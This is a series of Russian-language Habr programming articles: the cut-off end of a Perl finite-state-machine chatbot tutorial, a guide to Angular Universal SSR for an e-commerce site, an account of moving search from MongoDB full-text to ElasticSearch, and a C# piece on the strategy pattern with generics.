my ($self, $current) = @_;
$self->{CURRENT} = $current;
return $self;
}
sub getCurrentState {
my ($self, $current) = @_;
return $self->{CURRENT};
}
sub reset {
my $self = shift;
$self->{CURRENT} = $self->{INITIAL};
return $self;
}
sub addState {
my $self = shift;
my %args = @_;
$self->{STATES}->{$args{STATE}}->{$args{SYMBOL}} = {NEXT => $args{NEXT}, ACTION => $args{ACTION}};
return $self;
}
sub removeState {
my $self = shift;
my %args = @_;
if (exists $args{SYMBOL}) {
delete $self->{STATES}->{$args{STATE}}->{$args{SYMBOL}};
} else {
delete $self->{STATES}->{$args{STATE}};
}
return $self;
}
# Be sure to override in child
sub normalize {
my ($self, $symbol) = @_;
my $ret = {};
$ret->{SYMBOL} = $symbol;
return $ret;
}
sub process {
my ($self, $rawSymbol) = @_;
my $state = $self->{STATES}->{$self->{CURRENT}};
$rawSymbol = $self->normalize($rawSymbol);
my $symbol = $rawSymbol->{SYMBOL};
print STDERR "Current state " . $self->{CURRENT} . ", got symbol " . $symbol . "\n";
if (!exists $state->{$symbol} && exists $state->{'*'}) {
print STDERR "Unrecognized symbol " . $symbol . ", using *\n";
$symbol = "*";
}
# Do some action!
$state->{$symbol}->{ACTION}($self, $rawSymbol)
if ref $state->{$symbol}->{ACTION};
# Switch state
if (exists $state->{$symbol}->{NEXT}) {
$self->{CURRENT} = $state->{$symbol}->{NEXT};
} else {
die "Don't know how to handle symbol " . $rawSymbol->{SYMBOL};
}
return $self;
}
1;
```
Я полагаю что названия всех методов говорят сами за себя. Остановиться пожалуй стоит на методах **normalize** и **process**. Первый преобразует входную строку в хэш, содержащий поле SYMBOL с упрощенным до алфавита автомата входным символом. А **process** собственно осуществляет «тактирование» процессов перехода между состояниями, обрабатывая очередной сигнал.
Вкратце рассмотрим как это работает. Сердцем класса является таблица переходов STATES, представляющая из себя хэш хэшей хэшей :). Идея тут проста, на первом уровне мы имеем список состояний (STATE) и связанных с ними атрибутов. Так как переход определяется только входным символом (SYMBOL), то соответственно этими атрибутами будут собственно допустимые для этого состояния сигналы. Ну а по сигналу мы уже можем определить следующее состояние (NEXT) и, в довесок, выполняемое действие (ACTION), которое является всего лишь ссылкой на метод.
Т.е. по **process** мы сначала получаем символ входного алфавита из входной строки (**normalize**), затем получаем текущее состояние из списка состояний. Смотрим, определен ли для него входящий символ. Если не определен, то считаем что к нам прилетел "\*" — любой другой символ. Далее, смотрим, определено ли действие для пары состояние-сигнал. Если определено, выполняем. И переходим на следующее состояние, если оно определено (меняем переменную CURRENT). Если не определено, то фактически это фатальная ошибка для нашего автомата.
В учебных целях конечно же мы выводим информацию о переключении автомата в STDERR, я думаю вам не составит труда при необходимости завернуть этот вывод в лог для дебага или т.п.
#### Пример
Давайте попробуем что-нибудь реализовать. Пускай это будет некое подобие чат-бота.
Положим в его основу следующие правила:
* Перед выполнением команд надо сначала представиться (**login**)
* По команде **memorize** будем запоминать все что вводит пользователь, окончание по команде **exit**
* По команде **say N** выводить запомненную фразу номер N
* Завершение сеанса будет происходит по команде **exit**
Итак, составим таблицу переходов для этого примера:
| Символ | Состояние | Следующее состояние | Действие |
| --- | --- | --- | --- |
| LOGIN | INIT | SESSION | Открываем сессию |
| \* | INIT | INIT | - |
| \* | SESSION | SESSION | - |
| SAY | SESSION | SESSION | Выводим строку номер N |
| EXIT | SESSION | INIT | - |
| MEMORIZE | SESSION | STORE | - |
| \* | STORE | STORE | Сохраняем строку в буфер |
| EXIT | STORE | SESSION | - |
Итого, алфавит автомата состоит из символов (LOGIN, MEMORIZE, SAY, EXIT, \*), автомат имеет 3 состояния (INIT, SESSION и STORE).
Что ж, давайте его реализуем. В первую очередь зададим в конструкторе таблицу переходов, где необходимо — добавим ссылки на вызываемые методы. Никаких сложностей :)
```
package ChatBot;
use FSM;
@ISA = ("FSM");
use strict;
use Carp;
use vars qw($AUTOLOAD);
sub new {
my $proto = shift;
my $class = ref($proto) || $proto;
my $self = $class->SUPER::new("INIT");
$self->addState(STATE => "INIT", SYMBOL => "*", NEXT => "INIT", ACTION => \&doIntroduce);
$self->addState(STATE => "INIT", SYMBOL => "LOGIN", NEXT => "SESSION", ACTION => \&doLogin);
$self->addState(STATE => "INIT", SYMBOL => "EXIT", NEXT => "INIT", ACTION => \&doQuit);
$self->addState(STATE => "SESSION", SYMBOL => "*", NEXT => "SESSION");
$self->addState(STATE => "SESSION", SYMBOL => "EXIT", NEXT => "INIT");
$self->addState(STATE => "SESSION", SYMBOL => "SAY", NEXT => "SESSION", ACTION => \&doSay);
$self->addState(STATE => "SESSION", SYMBOL => "MEMORIZE",NEXT => "STORE");
$self->addState(STATE => "STORE", SYMBOL => "*", NEXT => "STORE", ACTION => \&doRemember);
$self->addState(STATE => "STORE", SYMBOL => "EXIT", NEXT => "SESSION");
$self->{SESSION} = {};
$self->{LOGIN} = "";
return $self;
}
sub normalize {
my ($self, $symbol) = @_;
my $ret = {};
if ($symbol =~ /^(\S+)(.*)$/) {
$ret->{SYMBOL} = uc $1;
$ret->{DATA} = $2;
$ret->{RAW} = $symbol;
} else {
$ret->{SYMBOL} = "*";
$ret->{DATA} = $symbol;
$ret->{RAW} = $symbol;
}
return $ret;
}
sub doIntroduce {
my $self = shift;
print "Please introduce yourself first!\n";
return $self;
}
sub doLogin {
my ($self, $symbol) = @_;
print "Welcome," . $symbol->{DATA} . "\n";
$self->{LOGIN} = $symbol->{DATA};
$self->{SESSION}->{$self->{LOGIN}} = () unless exists $self->{SESSION}->{$self->{LOGIN}};
return $self;
}
sub doSay {
my ($self, $symbol) = @_;
if (defined $self->{SESSION}->{$self->{LOGIN}}->[$symbol->{DATA}]) {
print $self->{SESSION}->{$self->{LOGIN}}->[$symbol->{DATA}];
} else {
print "No record\n";
}
return $self;
}
sub doRemember {
my ($self, $symbol) = @_;
push @{ $self->{SESSION}->{$self->{LOGIN}} }, $symbol->{RAW};
return $self;
}
sub doQuit {
my ($self, $symbol) = @_;
print "Bye bye!\n";
exit;
return $self;
}
1;
```
Диаграмма переходов выглядит следующим образом.
Таблица переходов в данном случае будет иметь следующий вид:
```
{
'INIT' => {
'*' => {
'ACTION' => \&doIntroduce,
'NEXT' => 'INIT'
},
'LOGIN' => {
'ACTION' => \&doLogin,
'NEXT' => 'SESSION'
},
'EXIT' => {
'ACTION' => \&doQuit,
'NEXT' => 'INIT'
}
},
'STORE' => {
'*' => {
'ACTION' => \&doRemember,
'NEXT' => 'STORE'
},
'EXIT' => {
'NEXT' => 'SESSION'
}
},
'SESSION' => {
'SAY' => {
'ACTION' => \&doSay,
'NEXT' => 'SESSION'
},
'*' => {
'NEXT' => 'SESSION'
},
'MEMORIZE' => {
'NEXT' => 'STORE'
},
'EXIT' => {
'NEXT' => 'INIT'
}
}
}
```
Напишем простейшую программку с использованием этих классов.
```
use ChatBot;
$bot = ChatBot->new();
while(<>) {
$bot->process($_);
}
```
Ну и простенькая проверка. На ввод дадим следующую последовательность.
```
hello world!
login %username%
hello world!
say 3
memorize
hey, do you really remember everything i would say?
let's check
exit
say 0
exit
hello
login %username%
say 1
exit
```
Что же мы получим на выходе?
```
Please introduce yourself first!
Welcome, %username%
No record
hey, do you really remember everything i would say?
Please introduce yourself first!
Welcome, %username%
let's check
```
В общем, попробуйте сами.
#### Заключение
Таким образом мы реализовали простейший конечный автомат. Вроде бы ничего сложного? Где это может пригодиться? Ну с чат-ботами все понятно. Примерно тоже самое получается если на другой стороне будет не человек, а железка — передавая команды и слушая ответы мы можем написать бота, крутящего настройки маршрутизатора, например. Интерактивные командные интерфейсы? Да мы собственно его сейчас и реализовали! Хотите подключиться к сервису, использующему протокол с набором состояний? Нет ничего проще!
Надеюсь, моя статья была хоть кому-нибудь полезна. Да, реализация примитивная, существует великое множество уже готовых. Но ведь интересно попробовать сделать что-то с нуля, неправда ли?
Буду рад любым комментариям. | https://habr.com/ru/post/141503/ | null | ru | null |
# Angular Universal: работа в крупном e-commerce
Привет, меня зовут Дмитрий Дружков, я тимлид фронтенд команды в Утконос Онлайн. В этой статье я расскажу, чем полезен Angular Universal в e-commerce проектах, как выбрать вид рендеринга, как выглядит первоначальная настройка технологии на примере нашего сайта и шаги по ускорению, а также раскрою плюсы и минусы Universal. Статья будет интересна тем, кто:
* не знает SSR и делает сайт с нуля,
* знаком с Angular и хочет научиться делать SSR,
* хочет получить общее представление по настройке Angular Universal,
* а также крупным проектам с большим количеством динамических страниц, которым важно SEO.
Про Angular Universal написано довольно много, но мало примеров настройки в больших e-commerce проектах, где есть свои нюансы. Часть решений была сделана нами, часть собрана по разным ресурсам, поэтому хочу поделиться комплексным взглядом на создание SSR.
Зачем нам понадобился Angular Universal
---------------------------------------
Обычный Angular отдает браузеру клиента базовую index.html страницу, которая с точки зрения SEO пустая — там есть только тег app-root и сcылки на скрипты и стили.
Интересно, что поведение поисковых роботов Яндекс и Google сильно отличается. Google умеет выполнять JavaScript код: он получает страницу, выполняет всю клиентскую логику, делает api вызовы, рендерит страницу и индексирует её. Мы же во многом ориентируемся на Яндекс, который этого не делает. Он получает index.html и принимает его, как есть. Так что нам было важно использовать Universal.
Добавление Angular Universal
----------------------------
Добавить Angular Universal в проект довольно просто, процесс хорошо описан [в официальной документации](https://angular.io/guide/universal):
* Выполните ng add @nguniversal/express-engine
Давайте посмотрим, что изменится в проекте после успешного выполнения команды.
В проекте появятся новые файлы:
* server.ts – логика express сервера
* tsconfig.server.json – конфиг TS для SSR
* src/main.server.ts
* src/app/app.server.module.ts
В angular.json будут добавлены:
* В projects > utkonos > architect > build > options > outputPath путь будет изменён с "dist/utkonos" на «dist/utkonos/browser»
* "server"
* "serve-ssr"
* "prerender"
В package.json будут добавлены новые скрипты:
* "dev:ssr": "ng run utkonos:serve-ssr" – dev сборка для разработки,
* "serve:ssr": "node dist/utkonos/server/main.js" – запуск сервера SSR,
* "build:ssr": "ng build && ng run utkonos:server" – сборка SSR,
* "prerender": "ng run utkonos:prerender" – пререндер страниц
В main.ts поменяется логика загрузки AppModule.
В app-routing.module.ts добавляется правило initialNavigation: 'enabledBlocking' — обязательный для SSR параметр, без него при старте приложения не будут работать хуки жизненного цикла роутинга.
В app.modules.ts добавляется параметр к BrowserModule: withServerTransition({ appId: 'serverApp' }) для работы с TransferState’ом — о нём я расскажу ниже.
Теперь можно запустить dev-сборку командой **npm run dev:ssr** и, если ошибок нет, то по адресу <http://localhost:4200> откроется ваш сайт. Чтобы проверить, что SSR работает выключите в браузере на странице JavaScript и перезагрузите страницу — так будет выглядеть сайт, сгенерированный node.js, каким его увидит поисковый робот — страница на чистом HTML и CSS без JavaScript.
### Работа c DOM в Angular Universal
В отличии от браузера в среде node.js нет DOM, и потому любые манипуляции с ним в приложении вызовут ошибку. Решить это нам поможет Domino <https://www.npmjs.com/package/domino>, он эмулирует работу с DOM API. Добавим его в server.ts:
```
// SSR DOM
import { domino } from 'domino';
Object.assign(global, domino.impl);
import { fs } from 'fs';
// index from browser folder
const browserFolder = join(__dirname, '../browser');
const template = fs.readFileSync(join(browserFolder, 'index.html')).toString();
const window = domino.createWindow(template);
// mock
global['window'] = window;
global['document'] = window.document;
```
Также необходимо исключить прямые обращения ко всем браузерным api и реализовать их через InjectionToken. Замечу, что такой подход желателен и без использования SSR, т.к. за счёт абстракции даёт нам гибкость разработки, чистоту кода и тестируемость.
Посмотрим, как это сделать на примере window.
Создайте файл window.ts и добавьте в него определение токена WINDOW:
Window.ts
```
import { DOCUMENT } from '@angular/common';
import { inject, InjectionToken } from '@angular/core';
export const WINDOW = new InjectionToken('An abstraction over global window object', {
factory: () => {
const { defaultView } = inject(DOCUMENT);
if (!defaultView) {
throw new Error('Window is not available');
}
return defaultView;
},
});
```
И далее в компоненте добавьте зависимость:
```
constructor(
@Inject(WINDOW) private window: Window,
) {}
```
### Работа с API бэкенда
Браузер может отправлять api запросы только на тот же домен, это обусловлено политикой безопасности. Маршрутизацию запросов к бэкенду можно настроить, например, через nginx. Если это не сделано, то все запросы от клиента принимает express сервер. Чтобы их получал api сервер, добавим мидлвару с прокси. Мы используем [библиотеку express-http-proxy](https://www.npmjs.com/package/express-http-proxy):
```
import * as proxy from 'express-http-proxy';
// From environment variables
const apiUrl = ConfigHelper.getApiURLForServer();
// The Express app is exported so that it can be used by serverless Functions.
export function app(): express.Express {
const server = express();
// Proxy to back for client requests
server.use('/api', proxy(apiUrl, { proxyReqPathResolver: (req: Request) =>
'/api' + req.url
}));
```
### Статика
Для работы Angular Universal нужно подготовить статичные файлы.
Сборка происходит по команде **npm run build:ssr**, она прописана в package.json. Для серверного и браузерного клиента выполняются отдельные сборки: ng build && ng run utkonos:server.
Расположение папок со статикой указывается в angular.json:
* для браузера projects > utkonos > architect > build > options > OutputPath
* для сервера projects > utkonos > architect > server > options > OutputPath
После сборки проекта мы получаем две папки browser и server. Структура базового проекта выглядит следующим образом:
Файл server/main.js используется node.js для рендеринга страниц. Файлы в папке browser используются клиентом.
Чтобы клиентский браузер смог получить статичные файлы из папки browser, нам нужно добавить мидлвар:
```
// Serve static files from /browser
server.get(
'*.*',
express.static(browserFolder, {
maxAge: '1y',
})
);
```
Ускорение Angular Universal
---------------------------
### Выбор варианта рендеринга
Давайте посмотрим возможные виды рендеринга:
* SSR (server-side rendering) — при запросе страница рендерится на сервере каждый раз, выполняет api запросы и пользователь получает страницу с актуальной информацией.
* SSG (static site generation) — страница рендерится заранее при сборке и отдаётся при обращении по роутингу.
* CSR (client-side rendering) — рендеринг на стороне клиента, когда открывается сайт.
* ISR (incremental static regeneration) — объединяет возможности SSR и SSG: при обращении пользователя страница рендерится на стороне сервера, кэшируется и отдаётся пользователю. При следующем запросе этой страницы она будет отдана из кэша.
### Выбор вида рендеринга зависит от характера сайта.
Если у вас на сайте контент меняется часто, то подойдёт SSR. Но надо учитывать, что для этого требуются большие вычислительные ресурсы.
На сайте, где страницы меняются редко, и их количество заранее известно, можно выбрать SSG. Плюсом этого решения является то, что веб-сервер просто отдаёт статичные страницы, ресурсов для этого требуется немного. Минус — при изменении контента страниц придется снова запускать рендер.
E-commerce сайт содержит очень большое число страниц (у нас их несколько десятков тысяч), их число меняется, а контент постоянно обновляется. Поэтому мы выбрали подход ISR — это позволяет минимизировать серверную нагрузку и при этом поддерживать контент в актуальном состоянии. Про настройку кэширования будет дальше в статье.
### Разделение логики клиент/сервер в TypeScript
В проекте иногда нужно разделить логику для SSR и для клиента. Например, когда для SEO не важна часть бизнес-логики, и мы можем сэкономить на её выполнении.
Для определения среды выполнения можно использовать встроенные методы isPlatformBrowser и isPlatformServer.
Для удобства можно создать сервис и провайдить его при необходимости:
```
import { isPlatformBrowser, isPlatformServer } from '@angular/common';
import { Injectable, Inject, PLATFORM_ID } from '@angular/core';
@Injectable({ providedIn: 'root' })
export class BrowserApiService {
private _isBrowser = isPlatformBrowser(this.platformId);
private _isServer = isPlatformServer(this.platformId);
constructor(
@Inject(PLATFORM_ID) private platformId: object,
) {
}
isBrowser(): boolean {
return this._isBrowser;
}
isServer(): boolean {
return this._isServer;
}
}
```
### Разделение логики клиент/сервер в HTML
Бывает, что для SSR не нужно отображать какой-то HTML или компоненты, для этого удобно сделать структурную директиву:
```
import { Directive, TemplateRef, ViewContainerRef } from '@angular/core';
import { BrowserApiService } from '@shared/services/browser-api.service';
@Directive({
selector: '[clientSideRendering]',
})
export class ClientSideRenderingDirective {
constructor(private viewContainer: ViewContainerRef, private browserApi: BrowserApiSupportService, private tplRef: TemplateRef) {
this.viewContainer.clear();
if (this.browserApi.isBrowser()) {
this.viewContainer.createEmbeddedView(this.tplRef, {});
}
}
}
```
### TransferState
Для рендера страницы на node.js выполняются api запросы, аналогичные тем, что выполняются в браузере у клиента. Чтобы сэкономить время и ресурсы, можно сохранить результаты api вызовов и использовать их в браузере.
Это позволяет сделать TransferState: для его работы нужно два интерсептора — серверный и браузерный. На стороне сервера выполненные api запросы сохраняются, а на стороне клиента запрос сперва проверяется в кэше и возвращается как ответ, если он есть.
На стороне клиента закэшированные запросы приходят в теле intex.html в теге | https://habr.com/ru/post/663518/ | null | ru | null |
# Переходим от MongoDB Full Text к ElasticSearch
В своем прошлом [посте](http://habrahabr.ru/company/likeastore/blog/222515/), с анонсом Google Chrome расширения для [Likeastore](https://likeastore.com), я упомянул тот факт, что в качестве поискового индекса мы начали использовать [ElasticSeach](http://elasticsearch.com). Именно ElasticSeach дал достаточно хорошую производительность и качество поиска, после которого было принято решение, выпустить расширение к хрому.
В этом посте, я расскажу о том, что использование связки MongoDB + ElasticSeach, есть крайне эффективное NoSQL решение, и о том, как перейти на ElasticSearch, если у вас уже есть MongoDB.
#### Немного истории
Функциональность поиска, суть нашего приложения. Возможность найти что-то быстро среди тысячи своих лайков, было то, ради чего мы начали этот проект.
Глубоких знаний теории полнотекстового поиска у нас небыло, и в качестве первого подхода мы решили попробовать MongoDB Full Text Search. Не смотря на то, что в версии 2.4 full text является экспериментальной фичей, он заработал довольно хорошо. Поэтому, на некоторое время мы его оставили, переключившись на более актуальные задачи.
Время шло и база данных росла. Коллекция, по которой мы проводим индексацию начала набирать определенный размер. Начиная от размера в 2 миллионов документов, я стал замечать общее снижение производительности приложения. Проявлялось это в виде долгого открытия первой страницы, и крайне медленного поиска.
Все это время я присматривался к специализированным поисковым хранилищам, как [ElasticSearch](http://elasticsearch.com), [Solr](http://lucene.apache.org/solr/) или [Shpinx](http://sphinxsearch.com/). Но как это часто былает в стартапе, пока «гром не грянет, мужик не перепишет».
Гром «грянул» 2 недели назад, после публикации на одном из ресурсов, мы испытали резкое увеличение траффика и большую пользовательскую активность. New Relic слал страшные письма, о том что приложение не отвечает, а собсвенные попытки открытия приложения, показывали — пациент скорее жив, чем мертв, но все работало крайне медленно.
Быстрый анализ показал, что большая часть HTTP реквестов отваливается с 504, после обращений к MongoDB. Мы хостимся на MongoHQ, но при попытке открыть консоль мониторинга, ровным счетом ничего не выходило. База была нагружена до самого предела. После того, как консоль таки удалось открыть я видел, что Locked % уходить в заоблачные 110 — 140% и держится там, не собираясь уходить вниз.
Сервис, который собирает пользовательские лайки, делает довольно много insert'ов, и каждый такой insert влечет за собой ре-калькуляцию полнотекстового индекса, это дорогая операция, и достигая определенных ограничений (в том числе и по ресурсам сервера), мы просто уперлись в ее предел.
Сбор данных пришлось отключить, полнотекстовый индекс удалить. После перезапуска, сервиса Locked index не превышал 0.7%, но если пользователь пытался что-то поискать, нам пришлось отвечать неудобным «sorry, search is on maintenance»…
#### Пробуем ElasticSeach локально
Я решил посмотреть, что представляет из себя Elastic, попробовав его на своей машине. Для того рода экспериментов, всегда был (есть, и надеюсь будет) [vagrant](http://www.vagrantup.com/).
ElasticSeach написан на Java, и требует соответвующего рантайма.
```
> sudo apt-get update
> sudo apt-get install openjdk-6-jre
> sudo add-apt-repository ppa:webupd8team/java
> sudo apt-get install oracle-java7-installer
```
После чего можно проверить, все ли нормально, запустив
```
> java --version
```
Сам Elastic устанавливается крайне просто. Я рекомендую установку из Debian пакета, так как в таком виде его проще сконфигурировать для запуска как сервис, а не как процесс.
```
> wget https://download.elasticsearch.org/elasticsearch/elasticsearch/elasticsearch-1.1.1.deb
> dpkg -i elasticsearch-1.1.1.deb
```
После этого, он готов к запуску,
```
> sudo update-rc.d elasticsearch defaults 95 10
> sudo /etc/init.d/elasticsearch start
```
Открыв свой браузер и перейдя по ссылке, получаем примерно такой ответ.
```
{
"ok" : true,
"status" : 200,
"name" : "Xavin",
"version" : {
"number" : "1.1.1",
"build_hash" : "36897d07dadcb70886db7f149e645ed3d44eb5f2",
"build_timestamp" : "2014-05-05T12:06:54Z",
"build_snapshot" : false,
"lucene_version" : "4.5.1"
},
"tagline" : "You Know, for Search"
}
```
Полное развертывание занимает около 10 минут.
#### Теперь что-то надо сохранить и поискать
ElasticSearch это интерфейс, построенный поверх технологии [Lucene](http://lucene.apache.org/core/). Это без преувеличений сложнейшая технология, отточенная годами, в которую было вложено тысячи трудо-часов высококлассных инженеров. Elastic, делает эту технологию доступной простым смертным, и делает это очень хорошо.
Я нахожу некоторые параллели, между Elastic'ом и CounchDB — тоже HTTP API, тоже schemaless, таже ориентация на документы.
После быстрой установки, я потратил много времени читая [мануал](http://www.elasticsearch.org/guide/), смотря релевантные [видосы](http://www.elasticsearch.org/videos/), пока не понял, как можно сохранить документ в индекс и как запустить самый простой поисковой запрос.
На этом этапе я использовал голый curl, точно также, как это показанно в документации.
Но долго тренироваться «на кошках», не интересно. Я сделал дамп продакшн MongoDB базы, и теперь мне нужно было перегнать всю свою коллекцию из MongoDB в ElasticSearch индекс.
Для данной миграции, я сделал небольшой тул — [elaster](https://github.com/likeastore/elaster). Elaster, это node.js приложение, которое стриммит заданную коллекцию MongoDB, в ElasticSearch, предватительно создав нужный индекс и инициализировав его маппингом.
Процесс этот не очень быстрый (есть пару идей, для улучшения elaster) но примерно через 40 минут, все записи из MongoDB были в ElasticSearch, можно пробовать искать.
#### Создание поискового запроса
[Query DSL](http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/query-dsl.html), язык построения запросов к Elastic. По синтаксису это обычный JSON, но вот делать эффективный запрос, это опыт, практика и знания. Я признаюсь чесно их еще не достиг, поэтому моя первая попытка выглядела вот так:
```
function fullTextItemSearch (user, query, paging, callback) {
if (!query) {
return callback(null, { data: [], nextPage: false });
}
var page = paging.page || 1;
elastic.search({
index: 'items',
from: (page - 1) * paging.pageSize,
size: paging.pageSize,
body: {
query: {
filtered: {
query: {
'query_string': {
query: query
},
},
filter: {
term: {
user: user.email
}
}
}
}
}
}, function (err, resp) {
if (err) {
return callback(err);
}
var items = resp.hits.hits.map(function (hit) {
return hit._source;
});
callback(null, {data: items, nextPage: items.length === paging.pageSize});
});
}
```
Это фильтрованный запрос, с пейджингом, для выдачи результатов для одного пользователя. Когда я попробовал его запустить, я был поражен как крут Elastic. Время выполнения запроса 30-40мс, и даже без каких-то тонких настроек, я был доволен результатами выдачи!
Помимо этого, в состав ElasticSeach входит Hightligh API, для подсветки результатов. Расширив запрос, до такого вида
```
elastic.search({
index: 'items',
from: (page - 1) * paging.pageSize,
size: paging.pageSize,
body: {
query: {
filtered: {
query: {
'query_string': {
query: query
},
},
filter: {
term: {
user: user.email
}
}
},
},
highlight: {
fields: {
description: { },
title: { },
source: { }
}
}
}
```
В респонсе на него (объект hit) будет содержатся вложенный объект highlight, c HTML-ом, готовым для использовании на фронт-енде, что дает возможность делать примерно такое,
#### Модификация кода приложения
После того как базовый поиск заработал, необходимо сделать так, чтобы все новые данные, которые приходят в MongoDB (как основное хранилище) «перетекали» в ElasticSearch.
Для этого, существуют специальные плагины, т.н. rivers. Их довольно много, под разные базы данных. Для MongoDB, самый широко использованный находится [тут](https://github.com/richardwilly98/elasticsearch-river-mongodb).
River для MongoDB работает по принципу мониторинга oplog из локальной базы, и трансформации oplog событий в ElasticSeach команды. В теории все просто. На практике, мне не удалось завести этот плагин с MongoHQ (скорее всего проблема кризны моих рук, ибо в интернете полно описаний успешных использований).
Но в моем случае, оказалось гораздо проще пойти по другому пути. Так как у меня только одна коллекция, в которую есть только insert и find, мне проще было модифицировать код приложения, таким образом, что сразу после insert`а в MongoDB, я делаю bulk комманду в ElasticSeach.
```
async.waterfall([
readUser,
executeConnector,
findNew,
saveToMongo,
saveToEleastic,
saveState
], function (err, results) {
});
```
Функция, saveToElastic
```
var commands = [];
items.forEach(function (item) {
commands.push({'index': {'_index': 'items', '_type': 'item', '_id': item._id.toString()}});
commands.push(item);
});
elastic.bulk({body: commands}, callback);
```
Не исключаю, что в более сложных сценариях использование river будет более оправдано.
#### Разворачиваем в продакшине
После того, как локальные эксперимент был завершен, нужно было все это развернуть в продакшине.
Для этого я создал новый дроплет на [Digital Ocean](https://www.digitalocean.com/?refcode=de56d081b272) (2 CPU, 2 GB, 40 GB SDD) и по сути провел с ним все манипуляции описанные выше — установить ElasticSeach, установить node.js и git, установить elaster и запустить миграцию данных.
Как только новый инстанс был поднят и инициализирован данными, я перезапустил сервисы сбора данных и Likeastore API, уже с кодом модифицированным под Elastic. Все сработало очень гладко и в продакшине уже никаких сюрпризов небыло.
#### Результаты
Сказать то, что я доволен переходом на ElasticSearch это ничего не сказать. Это действительно одна из не многих технологий, которая работает «из коробки».
Elastic открыл возможность создания расширения к браузеру, для быстрого поиска, а также возможности создания расширенного поиска (по датам, типа контента и т.д.)
Тем не менее, я еще полный нуб, в этой технологии. Тот фидбек, который мы получили с момента перехода на Elastic и выпуска расширения, явно указывает на то, что необходимы улучшения. Если кто-то готов поделится опытом, буду очень рад.
MongoDB наконец-то задышала свободно, Locked % держится на уровне 0.1% и не стремится вверх, что делает приложение действительно отзывчивым.
Если вы все еще используете MongoDB Full Text, то надеюсь этот пост вдохновит вас на переход к ElasticSeach. | https://habr.com/ru/post/223109/ | null | ru | null |
# Простые шаги по сокращению кода после применения паттерна «стратегия» с помощью generic-классов
Эта заметка содержит ряд хитростей, позволяющих сократить код, получившийся после применения паттерна «стратегия». Как нетрудно догадаться из названия, все они будут так или иначе связаны с использованием generic-типов.
Это вторая версия статьи. Первая (под названием **Набор мелких улучшений работы с паттерном «стратегия» с помощью generic-классов**) получилась не очень удачной, так как в ней в духе Ландау и Лифшица было опущено несколько промежуточных шагов, критически важных для понимания хода мысли. Объявляю отдельную благодарность [INC\_R](https://habrahabr.ru/users/inc_r/), сумевшему-таки в комментариях донести до меня этот простой факт.
1. Иерархия классов, над которыми будет твориться колдовство
------------------------------------------------------------
Предположим, что у нас есть абстрактный класс «транспортное средство» (Vehicle), которое может двигаться (метод Move). У этого класса есть три потомка: автомобиль, самолёт и рикша, каждый из которых по-своему реализует этот метод.
```
abstract class Vehicle
{
abstract void Move();
}
class Car : Vehicle
{
override void Move()
{
// burn fuel
// spin wheel
}
}
class Plane : Vehicle
{
override void Move()
{
// suck air
// burn fuel
// spew jetstream
}
}
class Rickshaw : Vehicle
{
override void Move()
{
// do one step
// beg white master for money
}
}
```
2. Применение стратегии
-----------------------
Предположим, что у нас начинают появляться новые требования:1. Стало очевидно, что скоро появятся новые типы транспортных средств.
2. Некоторые из них будут реализовывать метод Move одинаковым образом. Например, и машина, и тепловоз будут сжигать топливо и крутить колёса.
3. Способ движения может быть изменён. Например, пароходофрегат может плыть и под парусами, и на паровой тяге.
Очевидно, настало время выделить код, ответственный за движение, в отдельный класс Двигатель (Engine).
```
abstract class Vehicle
{
Engine Engine
{
get { return engine; }
set
{
if (value != null)
{
engine = value;
}
else
{
throw new ArgumentNullException();
}
}
}
private Engine engine;
protected Vehicle(Engine engine)
{
Engine = engine;
}
public void Move()
{
engine.Work();
}
}
class Car : Vehicle
{
Car()
: base(new InternalCombustionEngine())
{ }
}
class Plane : Vehicle
{
Plane()
: base(new JetEngine())
{ }
}
class Rickshaw : Vehicle
{
Rickshaw()
: base(new Slave())
{ }
}
abstract class Engine
{
public abstract void Work();
}
class InternalCombustionEngine : Engine
{
public override void Work()
{
// burn fuel
// spin wheel
}
}
class JetEngine : Engine
{
public override void Work()
{
// suck air
// burn fuel
// spew jetstream
}
}
class Slave : Engine
{
public override void Work()
{
// do one step
// beg white master for money
}
}
```
3. Сокращаем код, если это возможно
-----------------------------------
Если на каком-то фрагменте иерархии транспортных средств обнаруживается, что двигатель в процессе работы менять не надо, то руки так и тянутся параметризовать класс такого транспортного средства типом его двигателя, чтобы сэкономить немного лишних строк кода. Для краткости предположим, что эти изменения должны коснуться только уже объявленных классов
```
...
abstract class Vehicle : Vehicle
where EngineT: Engine
{
protected Vehicle()
: base(new EngineT())
{ }
}
class Car : Vehicle
{
Car()
: base(new InternalCombustionEngine())
{ }
}
class Plane : Vehicle
{
Plane()
: base(new JetEngine())
{ }
}
class Rickshaw : Vehicle
{
Rickshaw()
: base(new Slave())
{ }
}
...
```
Если классы двигателей имеют конструкторы без параметров, то этим тоже стоит воспользоваться, добавив constraint **new()** к типопараметру EngineT.
```
...
abstract class Vehicle : Vehicle
where EngineT: Engine, new()
{
protected Vehicle()
: base(new EngineT())
{ }
}
class Car : Vehicle
{ }
class Plane : Vehicle
{ }
class Rickshaw : Vehicle
{ }
...
```
4. Добавляем ещё разнообразия
-----------------------------
Предположим теперь, что двигателей в этом примере есть всего три (да, ровно три экземпляра, по одному на каждый тип), а транспортных средств – много, и каждому, чтобы передвигаться, нужно запрашивать со склада один из рабочих двигателей. Это хороший пример с точки зрения наглядности происходящих в коде изменений, но отвратительный точки зрения логики реального мира: переставлять двигатель с одной машины на другую — весьма сомнительное удовольствие. Да и последствия такого архитектурного решения могут быть самыми удивительными. А вот как изменится код, подстраиваясь под новые требования:
```
...
abstract class Vehicle : Vehicle
where EngineT : Engine
{
protected Vehicle()
: base(Engine.GetFromWarehouse())
{ }
}
...
abstract class Engine
{
abstract void Work();
private static readonly IDictionary warehouse = new Dictionary
{
{ typeof(InternalCombustionEngine), new InternalCombustionEngine() },
{ typeof(JetEngine), new JetEngine() },
{ typeof(Slave), new Slave() },
};
static Engine GetFromWarehouse()
where EngineT : Engine
{
return warehouse[typeof(EngineT)];
}
}
...
```
Как точно подметил [soalexmn](https://habrahabr.ru/users/soalexmn/), за что ему спасибо, мы только что наблюдали паттерн Service locator. Как видите, чем дальше в лес, тем меньше остаётся от стратегии.
5. А можно расшарить один двигатель на несколько машин?
-------------------------------------------------------
Да, конечно можно. Но здесь лучше использовать немного другой пример, а то фантазия просто взрывается, пытаясь представить раба, одной ногой крутящего педаль велосипеда, а второй пинающего самолёт в попытках заставить тот взлететь.
```
IБуксир буксир1 = new Пароход();
баржаСЗерном.ПрицепитьК(буксир1);
баржаСУглем.ПрицепитьК(буксир1);
паромСТуристами.ПрицепитьК(буксир1);
```
